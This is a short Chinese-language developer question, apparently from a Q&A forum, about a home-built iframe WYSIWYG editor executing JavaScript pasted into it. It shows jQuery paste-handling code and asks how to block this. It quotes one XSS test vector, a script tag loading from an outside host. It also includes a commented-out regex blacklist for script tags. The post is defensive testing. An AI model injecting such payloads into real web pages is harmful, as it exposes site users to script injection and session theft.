0
我已經從頭開始構建了一個內置編輯器。我正在嘗試XSS漏洞。Javascript執行復制粘貼iframe
<iframe id="wysiwygtextfield" onload="return initialize(this);" frameborder="0" scrolling="no" >
<html>
<head>
</head>
<body spellcheck = "true">
<br/>
</body>
</html>
<iframe>
我試圖複製粘貼下面的載體:
<SCRIPT SRC=//ha.ckers.org/.j>
它執行中被描述的iframe中。我有複製粘貼事件是這樣的事件觸發:
$('#wysiwygtextfield').contents().find('body').bind("paste", function(e) {
var element = this;
setTimeout(function(){
var text = $(element).text() ;
/* var pattern = /<script(\s+(\w+\s*=\s*("|').*?\3)\s*)*\s*(\/>|>.*?<\/script\s*>)/;
text = text.toLowerCase().replace(pattern,"Dirty paste") ; */
$('#wysiwygtextfield').contents().find('img').each(
function()
{ text += "<br/><br/>"+ $(this).get(0).outerHTML ; }
);
$(element).html(text) ; },10);
});
我使用正則表達式匹配來對付它嘗試過,但它不是有效的(更多的是黑名單)。我嘗試了一些其他的文本編輯器(ckeditor和tinymce),他們只是複製粘貼文本而沒有執行javascript。有沒有其他方法可以安全地複製粘貼JavaScript而不執行?我在服務器端有一個消毒劑來刪除標記。
我終於清除它在服務器端。但是如果腳本在客戶端執行,則會害怕任何攻擊。 –